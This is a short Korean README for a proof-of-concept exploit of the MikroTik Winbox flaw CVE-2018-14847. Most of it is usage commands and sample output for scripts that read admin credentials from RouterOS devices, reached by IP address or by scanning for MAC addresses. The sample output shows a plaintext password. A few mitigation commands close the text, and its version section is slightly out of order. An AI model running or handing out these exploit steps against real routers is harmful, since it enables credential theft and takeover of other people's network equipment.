
간단한 스크립트를 이용한 CVE-2018-14847 Mikrotik 취약점 PoC
Mikrotik 취약점 CVE-2018-14847(주로 winbox)의 PoC(Proof of Concept)로, 기본 포트 8291에서 RouterOS로부터 직접 비밀번호를 읽어오는 방식으로 작동합니다.
원작자: https://github.com/BigNerd95/
apt install python3
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
예:
$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123
IP 주소 없이도 이 스크립트를 사용할 수 있습니다.
MACServerDiscovery.py를 사용하여 라우터를 스캔하세요.
python3 MACServerDiscover.py
예:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
공격(Exploit):
python3 MACServerExploit.py <MAC-ADDRESS>
예:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: oppaidaisuki123
2015-05-28부터 2018-04-20까지 출시된 RouterOS
RouterOS 버전:
자세한 정보: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox